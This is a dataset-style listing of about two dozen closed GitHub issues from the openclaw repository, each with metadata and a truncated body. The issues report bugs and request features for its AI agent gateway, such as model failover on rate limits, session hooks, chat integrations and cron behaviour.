openclaw/openclaw | 4,188,930,771 | I_kwDOQb6kR875rgLT | 59,193 | https://github.com/openclaw/openclaw/issues/59193 | https://api.github.com/repos/openclaw/openclaw/issues/59193 | FEATURE: Add Telegram skill picker/list UI | ### Summary
Add a Telegram UI to browse and select installed skills instead of requiring users to remember and type skill names manually.
### Problem to solve
As the number of installed skills grows, remembering exact skill names becomes impractical. The current documented path is to run skills by name (for example,... | closed | completed | true | 1 | [
"enhancement"
] | [] | 2026-04-01T18:14:50Z | 2026-04-28T05:14:20Z | 2026-04-25T12:59:52Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | kAIborg24 | 261,855,322 | U_kgDOD5uYWg | User | false |
openclaw/openclaw | 4,189,002,859 | I_kwDOQb6kR875rxxr | 59,199 | https://github.com/openclaw/openclaw/issues/59199 | https://api.github.com/repos/openclaw/openclaw/issues/59199 | [Feature Request] Add agent:turn:complete hook event for notification/sound playback | ## Problem
Currently, there is no hook event that fires when an agent completes a response (turn). This makes it impossible to implement task completion notifications (like playing a sound) that trigger **after** all streaming content has been delivered to the user.
### Current Hook Events
Looking at the hooks docum... | closed | completed | true | 1 | [] | [] | 2026-04-01T18:26:56Z | 2026-04-28T05:14:19Z | 2026-04-25T12:59:59Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | lw791240271 | 202,805,259 | U_kgDODBaQCw | User | false |
openclaw/openclaw | 4,189,095,725 | I_kwDOQb6kR875sIct | 59,206 | https://github.com/openclaw/openclaw/issues/59206 | https://api.github.com/repos/openclaw/openclaw/issues/59206 | UI 显示问题 - 飞书控制面板账户下拉列表错误标记 (default) | ### Bug type
Behavior bug (incorrect output/state without crash)
### Beta release blocker
No
### Summary
飞书控制面板账户下拉列表按拼音排序后，将第一个账户（阿紫）错误标记为 (default)，但实际配置中 defaultAccount 为 main
### Steps to reproduce
1. 打开 OpenClaw 控制面板 (http://localhost:18789)
2. 进入飞书配置页面
3. 查看账户下拉列表
4. 观察 (default) 标记显示在阿紫旁边
5. 检查 openclaw.j... | closed | completed | true | 2 | [
"bug",
"bug:behavior"
] | [] | 2026-04-01T18:41:29Z | 2026-04-28T05:14:18Z | 2026-04-25T13:00:06Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | liuhua1202 | 30,530,878 | MDQ6VXNlcjMwNTMwODc4 | User | false |
openclaw/openclaw | 4,189,195,518 | I_kwDOQb6kR875sgz- | 59,213 | https://github.com/openclaw/openclaw/issues/59213 | https://api.github.com/repos/openclaw/openclaw/issues/59213 | Fallback model selection overridden by session model reconciliation — causes infinite 429 loop | ## Summary
When an agent's primary model (e.g. `anthropic/claude-sonnet-4-6`) hits a rate limit, OpenClaw correctly selects a fallback model (`kiro/claude-sonnet-4.6`). However, a session model reconciliation step fires *between* fallback selection and the actual request, sees the agent config specifies the primary mo... | closed | completed | true | 4 | [] | [] | 2026-04-01T18:57:37Z | 2026-04-28T05:14:18Z | 2026-04-25T13:00:14Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | McClean-Sherlock | 264,107,508 | U_kgDOD7319A | User | false |
openclaw/openclaw | 4,189,359,802 | I_kwDOQb6kR875tI66 | 59,218 | https://github.com/openclaw/openclaw/issues/59218 | https://api.github.com/repos/openclaw/openclaw/issues/59218 | Session-memory hook blocks Discord InteractionEventListener (22s+ freezes) | **Bug:** Session-memory hook blocks Discord InteractionEventListener (22s+ freezes)
**Severity:** HIGH
**First logged:** 2026-03-25
**Last logged:** 2026-04-01
**Description:**
The session-memory hook writes synchronously to disk at minute:04 on every cron tick. This write collides with Discord event burst windows, ... | closed | not_planned | true | 1 | [] | [] | 2026-04-01T19:24:30Z | 2026-04-28T05:14:17Z | 2026-04-25T13:00:21Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | ion-ctrl | 266,816,281 | U_kgDOD-dLGQ | User | false |
openclaw/openclaw | 4,189,428,217 | I_kwDOQb6kR875tZn5 | 59,224 | https://github.com/openclaw/openclaw/issues/59224 | https://api.github.com/repos/openclaw/openclaw/issues/59224 | [Bug]: exec-approvals.json not honored after gateway restart — isolated cron sessions still prompt | ### Bug type
Regression (worked before, now fails)
### Beta release blocker
No
### Summary
After editing `~/.openclaw/exec-approvals.json` to set `security: full` and `ask: off` at both the `defaults` level and per-agent level (`main` and `*`), isolated cron sessions still prompt for exec approval after gateway re... | closed | completed | true | 4 | [
"bug"
] | [] | 2026-04-01T19:38:59Z | 2026-04-28T05:14:16Z | 2026-04-25T13:00:33Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | drkyleahuggins | 262,856,883 | U_kgDOD6rgsw | User | false |
openclaw/openclaw | 4,189,449,086 | I_kwDOQb6kR875tet- | 59,226 | https://github.com/openclaw/openclaw/issues/59226 | https://api.github.com/repos/openclaw/openclaw/issues/59226 | [Bug]: Gateway entrypoint mismatch warning (entry.js → index.js) reappears after every openclaw update on Linux/systemd | ## Summary
After every `openclaw update`, the doctor check shows:
> Gateway service entrypoint does not match the current install — `entry.js` → `index.js`
This happens consistently, even on the latest version (v2026.4.1), and the service itself is actually **correct** the whole time.
---
## Environment
- **OS:**... | closed | completed | true | 2 | [] | [] | 2026-04-01T19:43:13Z | 2026-04-28T05:14:15Z | 2026-04-25T13:00:41Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | holgergruenhagen | 60,438,604 | MDQ6VXNlcjYwNDM4NjA0 | User | false |
openclaw/openclaw | 4,189,670,827 | I_kwDOQb6kR875uU2r | 59,239 | https://github.com/openclaw/openclaw/issues/59239 | https://api.github.com/repos/openclaw/openclaw/issues/59239 | Feature request: mandatory pre-action memory retrieval hooks | Title: Feature request: mandatory pre-action memory retrieval hooks
## Problem
Current memory architecture (supermemory, LCM, file-based notes) stores information reliably but retrieval is entirely model-initiated. The model decides when to check memory, and under task pressure it consistently skips retrieval — leadi... | closed | completed | true | 1 | [] | [] | 2026-04-01T20:27:54Z | 2026-04-28T05:14:15Z | 2026-04-25T13:00:48Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | clawdinghenry-blip | 259,933,712 | U_kgDOD35GEA | User | false |
openclaw/openclaw | 4,189,699,613 | I_kwDOQb6kR875ub4d | 59,240 | https://github.com/openclaw/openclaw/issues/59240 | https://api.github.com/repos/openclaw/openclaw/issues/59240 | TUI: spinner disappears when user starts typing while response is pending | ## Bug
When a message is sent and the agent is processing, the spinner/loading indicator disappears as soon as the user begins typing in the input field.
## Expected behavior
The spinner (or some indication that a response is in progress) should remain visible while the agent is still running, regardless of whether ... | closed | completed | true | 1 | [] | [] | 2026-04-01T20:32:52Z | 2026-04-28T05:14:14Z | 2026-04-25T13:00:55Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | tomwhipple | 635,272 | MDQ6VXNlcjYzNTI3Mg== | User | false |
openclaw/openclaw | 4,189,804,058 | I_kwDOQb6kR875u1Ya | 59,246 | https://github.com/openclaw/openclaw/issues/59246 | https://api.github.com/repos/openclaw/openclaw/issues/59246 | Slack DM read path ignores userToken and uses bot token only | ## Summary
Slack DM history reads appear to ignore the configured `userToken` and always use the bot token. This breaks DM readback even when sending works and a read-capable `userToken` is configured on the Slack account.
## Environment
- OpenClaw 2026.3.31 (`213a704`)
- Slack channel integration in Socket Mode
- Mul... | closed | completed | true | 1 | [] | [] | 2026-04-01T20:50:28Z | 2026-04-28T05:14:13Z | 2026-04-25T13:01:03Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | eginder | 6,565,633 | MDQ6VXNlcjY1NjU2MzM= | User | false |
openclaw/openclaw | 4,189,889,467 | I_kwDOQb6kR875vKO7 | 59,252 | https://github.com/openclaw/openclaw/issues/59252 | https://api.github.com/repos/openclaw/openclaw/issues/59252 | v2026.3.28: Rate-limited primary model causes LiveSessionModelSwitchError cascade, fallbacks never used | ## Description
When the primary model for an agent hits a rate limit (429), the fallback chain fails to engage properly. Instead, the session enters a loop where it repeatedly tries the primary model, interleaving with brief fallback candidate attempts that immediately fail with `LiveSessionModelSwitchError`.
## Step... | closed | completed | true | 1 | [] | [] | 2026-04-01T21:06:57Z | 2026-04-28T05:14:12Z | 2026-04-25T13:01:10Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | user79697 | 132,234,568 | U_kgDOB-G9SA | User | false |
openclaw/openclaw | 4,189,907,419 | I_kwDOQb6kR875vOnb | 59,253 | https://github.com/openclaw/openclaw/issues/59253 | https://api.github.com/repos/openclaw/openclaw/issues/59253 | Feature: Configurable overload retry count and circuit breaker for model failover | ## Problem
When a primary model (e.g., Anthropic Claude Opus) returns `overloaded_error`, OpenClaw retries 4+ times with exponential backoff (250ms → 500ms → 1000ms → 1500ms) before triggering failover to the next model in the fallback chain. This adds ~30-40 seconds of wasted latency **per request** even when the fal... | closed | completed | true | 1 | [] | [] | 2026-04-01T21:10:32Z | 2026-04-28T05:14:12Z | 2026-04-25T13:01:17Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | prasith-jobleap | 181,791,026 | U_kgDOCtXpMg | User | false |
openclaw/openclaw | 4,190,015,574 | I_kwDOQb6kR875vpBW | 59,256 | https://github.com/openclaw/openclaw/issues/59256 | https://api.github.com/repos/openclaw/openclaw/issues/59256 | [Bug]: session_send does not work for sandboxed agents | ### Bug type
Regression (worked before, now fails)
### Beta release blocker
No
### Summary
After enabling sandbox mode for all my agents except the main agent, my agents are no longer able to send messages to each other.
`sessions_send` does not work (times out).
The non-sandbox agent (main) does not have this is... | closed | completed | true | 2 | [
"bug",
"regression"
] | [] | 2026-04-01T21:33:16Z | 2026-04-28T05:14:11Z | 2026-04-25T13:01:24Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | robdubparker | 647,227 | MDQ6VXNlcjY0NzIyNw== | User | false |
openclaw/openclaw | 4,190,053,446 | I_kwDOQb6kR875vyRG | 59,258 | https://github.com/openclaw/openclaw/issues/59258 | https://api.github.com/repos/openclaw/openclaw/issues/59258 | Feature: Sleep-based memory consolidation for agents | ## Problem
Agents suffer from "catastrophic forgetting" between sessions. Each session starts from zero, relying on raw daily notes that grow large (10KB+/day) and often aren't fully read on startup. This leads to:
- Lost project context between sessions
- Repeated mistakes (same errors documented multiple times)
- Gr... | closed | completed | true | 2 | [] | [] | 2026-04-01T21:41:11Z | 2026-04-28T05:14:10Z | 2026-04-25T13:01:31Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | xfaang-ci | 55,543,940 | MDQ6VXNlcjU1NTQzOTQw | User | false |
openclaw/openclaw | 4,190,082,118 | I_kwDOQb6kR875v5RG | 59,260 | https://github.com/openclaw/openclaw/issues/59260 | https://api.github.com/repos/openclaw/openclaw/issues/59260 | Model failover should handle silent API hangs (no response), not just error responses | ## Problem
When the primary model (e.g. Opus) accepts a request but never responds (silent hang), OpenClaw waits until the job timeout kills the request. The fallback chain (Opus → Sonnet → Qwen) does **not** engage because there's no error response to trigger failover — just silence.
## Observed Behavior
- Cron job... | closed | completed | true | 1 | [] | [] | 2026-04-01T21:47:12Z | 2026-04-28T05:14:10Z | 2026-04-25T13:01:46Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | keyvanazami | 31,280,985 | MDQ6VXNlcjMxMjgwOTg1 | User | false |
openclaw/openclaw | 4,190,101,639 | I_kwDOQb6kR875v-CH | 59,263 | https://github.com/openclaw/openclaw/issues/59263 | https://api.github.com/repos/openclaw/openclaw/issues/59263 | [Bug]: | ### Bug type
Regression (worked before, now fails)
### Beta release blocker
No
### Summary
WhatsApp device registration fails after QR scan — Baileys v7.0.0-rc.9 registered flag never flips to true, connection cycles indefinitely until WhatsApp rate-limits the account.
### Steps to reproduce
1. Install OpenClaw... | closed | completed | true | 1 | [
"bug"
] | [] | 2026-04-01T21:51:48Z | 2026-04-28T05:14:09Z | 2026-04-25T13:02:01Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | diggertydog | 258,656,447 | U_kgDOD2rIvw | User | false |
openclaw/openclaw | 4,190,177,598 | I_kwDOQb6kR875wQk- | 59,270 | https://github.com/openclaw/openclaw/issues/59270 | https://api.github.com/repos/openclaw/openclaw/issues/59270 | [Bug]: tools.exec.security config setting completely ignored | ### Bug type
Regression (worked before, now fails)
### Beta release blocker
No
### Summary
**Issue:** The \`tools.exec.security\` configuration setting has no effect on runtime enforcement. Exec
remains denied regardless of config value.
**Config tested:**
\`\`\`json
{
\"tools\": {
\"exec\":... | closed | completed | true | 1 | [
"bug",
"regression"
] | [] | 2026-04-01T22:09:26Z | 2026-04-28T05:14:07Z | 2026-04-25T13:02:15Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | JoshLuedeman | 6,021,644 | MDQ6VXNlcjYwMjE2NDQ= | User | false |
openclaw/openclaw | 4,190,240,065 | I_kwDOQb6kR875wf1B | 59,272 | https://github.com/openclaw/openclaw/issues/59272 | https://api.github.com/repos/openclaw/openclaw/issues/59272 | Per-agent auth profiles cause credential drift and stale duplicate OAuth profiles across agents | In multi-agent setups, each agent stores its own `auth-profiles.json`. This becomes fragile when OAuth profile naming changes across versions — for example, older `openai-codex:default` versus newer account-scoped IDs such as `openai-codex:<email>`.
Re-authenticating one agent updates only that agent. Other agents kee... | closed | completed | true | 1 | [] | [] | 2026-04-01T22:22:01Z | 2026-04-28T05:14:06Z | 2026-04-25T13:02:23Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | DerFlash | 185,013 | MDQ6VXNlcjE4NTAxMw== | User | false |
openclaw/openclaw | 4,190,258,596 | I_kwDOQb6kR875wkWk | 59,274 | https://github.com/openclaw/openclaw/issues/59274 | https://api.github.com/repos/openclaw/openclaw/issues/59274 | [Bug]: ACP sessions die immediately with "queue owner unavailable" on local loopback gateway (v2026.4.1, macOS arm64) | ### Bug type
Behavior bug (incorrect output/state without crash)
### Beta release blocker
No
### Summary
Every ACP session spawned via sessions_spawn(runtime: "acp") dies within seconds with status=dead summary=queue owner unavailable, preventing all ACP-based coding work on a local loopback gateway (v2026.4.1, ma... | closed | completed | true | 1 | [
"bug",
"bug:behavior"
] | [] | 2026-04-01T22:26:21Z | 2026-04-28T05:14:06Z | 2026-04-25T13:02:30Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | SavvyAdvice | 235,551,572 | U_kgDODgo7VA | User | false |
openclaw/openclaw | 4,190,475,730 | I_kwDOQb6kR875xZXS | 59,291 | https://github.com/openclaw/openclaw/issues/59291 | https://api.github.com/repos/openclaw/openclaw/issues/59291 | [Bug] 2026.4.1: "Cannot read properties of undefined (reading 'bind')" with Anthropic API key | ## Describe the bug
After updating to OpenClaw 2026.4.1, the gateway crashes repeatedly with:
```
Cannot read properties of undefined (reading 'bind')
```
Logged at `subsystem-CJEvHE2o.js:279` on every API call.
## Root cause
The new usage-tracking wrapper in 2026.4.1 replaces the Anthropic SDK's rich stream objec... | closed | completed | true | 2 | [] | [] | 2026-04-01T23:24:32Z | 2026-04-28T05:14:05Z | 2026-04-25T13:02:37Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | Albaloola | 160,129,596 | U_kgDOCYtiPA | User | false |
openclaw/openclaw | 4,190,553,773 | I_kwDOQb6kR875xsat | 59,295 | https://github.com/openclaw/openclaw/issues/59295 | https://api.github.com/repos/openclaw/openclaw/issues/59295 | [Bug]: LiveSessionModelSwitchError double-fires after model correction due to stale baseline comparison | ### Bug type
Behavior bug (incorrect output/state without crash)
### Beta release blocker
No
### Summary
When the effective default model changes between sessions (e.g. after a config update or fallback rotation), `LiveSessionModelSwitchError` fires correctly on the first request but then fires again on the immedi... | closed | completed | true | 1 | [] | [] | 2026-04-01T23:48:41Z | 2026-04-28T05:14:04Z | 2026-04-25T13:02:44Z | CONTRIBUTOR | null | 20260428T060020Z | 2026-04-28T06:00:20Z | 0xble | 20,782,088 | MDQ6VXNlcjIwNzgyMDg4 | User | false |
openclaw/openclaw | 4,190,555,134 | I_kwDOQb6kR875xsv- | 59,296 | https://github.com/openclaw/openclaw/issues/59296 | https://api.github.com/repos/openclaw/openclaw/issues/59296 | [Bug]: /compact rotates session ID before plugins flush, causing silent data loss on external sync | ### Bug type
Behavior bug (incorrect output/state without crash)
### Beta release blocker
No
### Summary
The `/compact` command rotates the local session ID to a new UUID before the compact handler fires for plugins. Plugins that need to sync the pre-compaction history (e.g. OpenViking) receive the new session ID,... | closed | completed | true | 1 | [] | [] | 2026-04-01T23:49:10Z | 2026-04-28T05:14:04Z | 2026-04-25T13:02:51Z | CONTRIBUTOR | null | 20260428T060020Z | 2026-04-28T06:00:20Z | 0xble | 20,782,088 | MDQ6VXNlcjIwNzgyMDg4 | User | false |
openclaw/openclaw | 4,190,618,752 | I_kwDOQb6kR875x8SA | 59,302 | https://github.com/openclaw/openclaw/issues/59302 | https://api.github.com/repos/openclaw/openclaw/issues/59302 | Cron: missed-run catchup/backfill on gateway startup | ## Problem
When the gateway restarts and a cron job's scheduled time has passed, the behavior is inconsistent:
- **Sometimes** the job is backfilled (if the gateway starts right after the scheduled time)
- **Sometimes** it is skipped entirely (if the previous instance already "claimed" the run but died before complet... | closed | completed | true | 1 | [] | [] | 2026-04-02T00:13:57Z | 2026-04-28T05:14:03Z | 2026-04-25T13:02:58Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | hikiwibot | 260,999,545 | U_kgDOD46JeQ | User | false |
openclaw/openclaw | 4,190,648,289 | I_kwDOQb6kR875yDfh | 59,303 | https://github.com/openclaw/openclaw/issues/59303 | https://api.github.com/repos/openclaw/openclaw/issues/59303 | Model fallback not triggered on 429 rate_limit_error — retries same provider indefinitely | ## Bug Description
When the primary model (`anthropic/claude-opus-4-6`) returns HTTP 429 `rate_limit_error`, OpenClaw retries the same provider indefinitely instead of falling back to the configured fallback model (`google/gemini-2.0-flash`).
## Config
```json
{
"agents": {
"defaults": {
"model": {
... | closed | completed | true | 1 | [] | [] | 2026-04-02T00:25:52Z | 2026-04-28T05:14:02Z | 2026-04-25T13:03:05Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | ariaassistantjuanblonval-debug | 262,913,753 | U_kgDOD6u-2Q | User | false |
openclaw/openclaw | 4,190,763,444 | I_kwDOQb6kR875yfm0 | 59,317 | https://github.com/openclaw/openclaw/issues/59317 | https://api.github.com/repos/openclaw/openclaw/issues/59317 | Control UI: sessions.list polling too aggressive (8s) | ## Description
The Control UI (web dashboard) polls `sessions.list` every 8 seconds, which causes noticeable CPU spikes when the gateway is slow or under load.
## Expected Behavior
Polling interval should be configurable or set to a more reasonable default (30-60 seconds).
## Environment
- OpenClaw version: 2026.3... | closed | completed | true | 5 | [] | [] | 2026-04-02T01:01:31Z | 2026-04-28T05:14:01Z | 2026-04-25T13:03:20Z | NONE | null | 20260428T060020Z | 2026-04-28T06:00:20Z | lucca-alma | 258,741,130 | U_kgDOD2wTig | User | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.